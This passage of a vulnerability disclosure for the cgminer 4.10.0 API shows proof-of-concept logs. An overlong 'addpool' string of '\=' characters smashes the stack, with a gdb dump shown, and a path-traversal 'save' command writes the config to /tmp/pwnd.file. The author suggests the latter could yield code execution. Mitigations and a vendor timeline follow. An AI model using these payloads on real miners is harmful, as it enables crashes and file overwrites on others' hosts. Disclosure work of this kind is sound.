[cgminer.py - _get_capabilities() ][ DEBUG] response: 'pgaidentify' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "gpucount", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'gpucount' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "gpudisable", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'gpudisable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "gpuintensity", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'gpuintensity' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "procenable", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'procenable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "gpuengine", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'gpuengine' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "asc", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'asc' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "pools", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'pools' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "lcd", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'lcd' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "cpucount", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'cpucount' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "gpu", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'gpu' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "procidentify", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'procidentify' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "coin", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'coin' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "cpudisable", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'cpudisable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "pgaset", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'pgaset' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "restart", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'restart' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "procnotify", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'procnotify' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "pgadisable", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'pgadisable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "proccount", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'proccount' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "setconfig", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'setconfig' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "lockstats", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'lockstats' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "proc", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'proc' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "procset", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'procset' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "enablepool", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'enablepool' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "summary", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'summary' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "devs", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'devs' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "devscan", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'devscan' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "removepool", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'removepool' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "poolpriority", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'poolpriority' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "cpu", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'cpu' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - <module>() ][ INFO] [+] Capabilities: ['version', 'asccount', 'disablepool', 'hotplug', 'estats', 'zero', 'usbstats', 'failover-only', 'notify', 'edevs', 'poolquota', 'addpool', 'check', 'devdetails', 'quit', 'stats', 'switchpool', 'setconfig', 'pgacount', 'save', 'config', 'privileged', 'debug', 'lcd', 'coin', 'restart', 'lockstats', 'pools', 'enablepool', 'summary', 'devs', 'removepool', 'poolpriority']
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: 'addpool|===...===\n'
[cgminer.py - <module>() ][ ERROR] ValueError('need more than 1 value to unpack',)
[cgminer.py - <module>() ][ WARNING] Remote host died :/
[cgminer.py - <module>() ][ INFO] --done--
This causes a stack buffer overwrite resulting in a corrupted stack and subsequent crash of the application.
[xxxx] API: connection from 192.168.2.106 - Accepted
[xxxx] API: recv command: (8009) 'addpool|============================================================================================================================================================================================================================
addpool ===...===
Thread 71 "cg@API" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff1cd9700 (LWP 40933)]
0x000055555558fb22 in api_add_data_full (root=0x5c3d5c3d5c3d5c3d, name=0x5555555b0907 "STATUS", type=API_STRING,
data=0x7ffff1cd1750, copy_data=false) at api.c:887
887 api_data->prev = root->prev;
(gdb) i r
rax 0x5c3d5c3d5c3d5c3d 6646570043679005757
rbx 0x57 87
rcx 0x535554 5461332
rdx 0x1 1
rsi 0x54415453 1413567571
rdi 0x7fffa4000c70 140735944854640
rbp 0x7ffff1cd16e0 0x7ffff1cd16e0
rsp 0x7ffff1cd15b0 0x7ffff1cd15b0
r8 0x0 0
r9 0x3e9b 16027
r10 0x7fffa4000c70 140735944854640
r11 0x7ffff1cd55ea 140737250153962
r12 0x0 0
r13 0x7fffffffc0ff 140737488339199
r14 0x7ffff1cd99c0 140737250171328
r15 0x7ffff1cd9700 140737250170624
rip 0x55555558fb22 0x55555558fb22 <api_add_data_full+184>
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) where
#0 0x000055555558fb22 in api_add_data_full (root=0x5c3d5c3d5c3d5c3d, name=0x5555555b0907 "STATUS", type=API_STRING,
data=0x7ffff1cd1750, copy_data=false) at api.c:887
#1 0x0000555555590100 in api_add_string (root=0x5c3d5c3d5c3d5c3d, name=0x5555555b0907 "STATUS", data=0x7ffff1cd1750 "E",
copy_data=false) at api.c:999
#2 0x00005555555916bf in message (io_data=0x7fffa4001090, messageid=53, paramid=0,
param2=0x7fffa401b830 "\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\="..., isjson=false) at api.c:1507
#3 0x5c3d5c3d5c3d5c3d in ?? ()
#4 0x5c3d5c3d5c3d5c3d in ?? ()
#5 0x5c3d5c3d5c3d5c3d in ?? ()
#6 0x5c3d5c3d5c3d5c3d in ?? ()
#7 0x5c3d5c3d5c3d5c3d in ?? ()
#8 0x5c3d5c3d5c3d5c3d in ?? ()
#9 0x5c3d5c3d5c3d5c3d in ?? ()
#10 0x5c3d5c3d5c3d5c3d in ?? ()
#11 0x5c3d5c3d5c3d5c3d in ?? ()
#12 0x5c3d5c3d5c3d5c3d in ?? ()
#13 0x5c3d5c3d5c3d5c3d in ?? ()
#14 0x5c3d5c3d5c3d5c3d in ?? ()
#15 0x5c3d5c3d5c3d5c3d in ?? ()
#16 0x5c3d5c3d5c3d5c3d in ?? ()
#17 0x5c3d5c3d5c3d5c3d in ?? ()
#18 0x5c3d5c3d5c3d5c3d in ?? ()
#19 0x5c3d5c3d5c3d5c3d in ?? ()
#20 0x5c3d5c3d5c3d5c3d in ?? ()
#21 0x5c3d5c3d5c3d5c3d in ?? ()
#22 0x5c3d5c3d5c3d5c3d in ?? ()
#23 0x5c3d5c3d5c3d5c3d in ?? ()
#24 0x5c3d5c3d5c3d5c3d in ?? ()
#25 0x5c3d5c3d5c3d5c3d in ?? ()
#26 0x5c3d5c3d5c3d5c3d in ?? ()
#27 0x5c3d5c3d5c3d5c3d in ?? ()
#28 0x5c3d5c3d5c3d5c3d in ?? ()
(gdb) bt full
#0 0x000055555558fb22 in api_add_data_full (root=0x5c3d5c3d5c3d5c3d, name=0x5555555b0907 "STATUS", type=API_STRING,
data=0x7ffff1cd1750, copy_data=false) at api.c:887
api_data = 0x7fffa4001c30
__func__ = "api_add_data_full"
#1 0x0000555555590100 in api_add_string (root=0x5c3d5c3d5c3d5c3d, name=0x5555555b0907 "STATUS", data=0x7ffff1cd1750 "E",
copy_data=false) at api.c:999
No locals.
#2 0x00005555555916bf in message (io_data=0x7fffa4001090, messageid=53, paramid=0,
param2=0x7fffa401b830 "\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\="..., isjson=false) at api.c:1507
root = 0x5c3d5c3d5c3d5c3d
buf = "Invalid addpool details '\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\=\\"...
severity = "E"
i = 1547525181
id = 0
#3 0x5c3d5c3d5c3d5c3d in ?? ()
No symbol table info available.
#4 0x5c3d5c3d5c3d5c3d in ?? ()
No symbol table info available.
#5 0x5c3d5c3d5c3d5c3d in ?? ()
No symbol table info available.
#6 0x5c3d5c3d5c3d5c3d in ?? ()
No symbol table info available.
...
It is clearly visible that the stack has been smashed by the string \=
(0x5c3d).
- [vector 2] absolute path traversal in
save
allows to write the node configuration file to any location on the host not protected by any basedir restrictions.
...
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "/tmp/pwnd.file", "command": "save"}\n'
[cgminer.py - <module>() ][ INFO] --done--
{u'STATUS': [{u'STATUS': u'S', u'Msg': u"Configuration saved to file '/tmp/pwnd.file'", u'Code': 44, u'When': xxxxx, u'Description': u'cgminer 4.10.0'}], u'id': 1}
This will store the node's configuration file with the permissions of the user that launched the process as
/tmp/pwnd.file
on the host computer. This could very likely be used to gain RCE by planting scripting code into
webroots on the same host or overwriting arbitrary files.
Miner Log:
...
[xxxx] API: connection from 192.168.2.106 - Accepted
[xxxx] API: recv command: (51) '{"parameter": "/tmp/pwnd.file", "command": "save"}
[xxxx] API: send reply: (147) '{"STATUS":...'
[xxxx] API: sent all of 147 first go
...
Host Computer:
#> stat /tmp/pwnd.file
File: '/tmp/pwnd.file'
Size: 2384 Blocks: 8 IO Block: 4096 regular file
Device: 801h/2049d Inode: 681465 Links: 1
Access: (0664/-rw-rw-r--) Uid: ( 1000/ tin) Gid: ( 1000/ tin)
Access: xxxx
Modify: xxxx
Change: xxxx
Birth: -
#> cat /tmp/pwnd.file
{
"pools" : [
{
"url" : "stratum+tcp://ltc-eu.give-me-coins.com:3334",
"user" : "a",
"pass" : "a"
},
...
]
,
"api-allow" : "W:0/0",
"api-description" : "cgminer 4.10.0",
"api-listen" : true,
"api-mcast-addr" : "224.0.0.75",
"api-mcast-code" : "FTW",
"api-mcast-des" : "",
"api-mcast-port" : "4028",
"api-port" : "4028",
"api-host" : "0.0.0.0",
"fallback-time" : "120",
"log" : "5",
"shares" : "0",
"suggest-diff" : "0",
"text-only" : true,
"verbose" : true
}
* input validation/sanitation
* use safe string handling functions
* path restriction
* enforce transport security
* authenticate api; wait for specific command to leak banner; remove readonly commands and authenticate them
-
Timeline
02/25/2018 - vendor contact: report sent to cgminer / bfgminer 02/26/2018 - vendor response (cgminer): ACK'd that the informtion was received. vendor response (bfgminer): VU #1: Minor since it only applies to trusted connections. Will plan to fix in the next release (do you have a patch already?). VU #2: Intended behaviour, not a bug. VU #3: Not a vulnerability. All information "leaked" is non-sensitive. VU #4: I do not consider this to be a vulnerability. The interface is only intended for use on trusted networks. 03/05/2018 - request for update on patch timeline (cgminer and bfgminer) 03/05/2018 - vendor response (cgminer) no update yet vendor response (bfgminer) - no response - 06/03/2018 - public disclosure
-
Vendor Changelog
06/03/2018 - *still not fixed* therefore public disclosure
[1] https://github.com/ckolivas/cgminer/releases
[2] https://bitcointalk.org/index.php?topic=28402.0
[3] https://github.com/luke-jr/bfgminer
[4] http://bfgminer.org/
[5] https://bitcointalk.org/?topic=877081
[6] https://www.shodan.io/search?query=Msg%3DInvalid+command%2CDescription%3D
https://github.com/tintinweb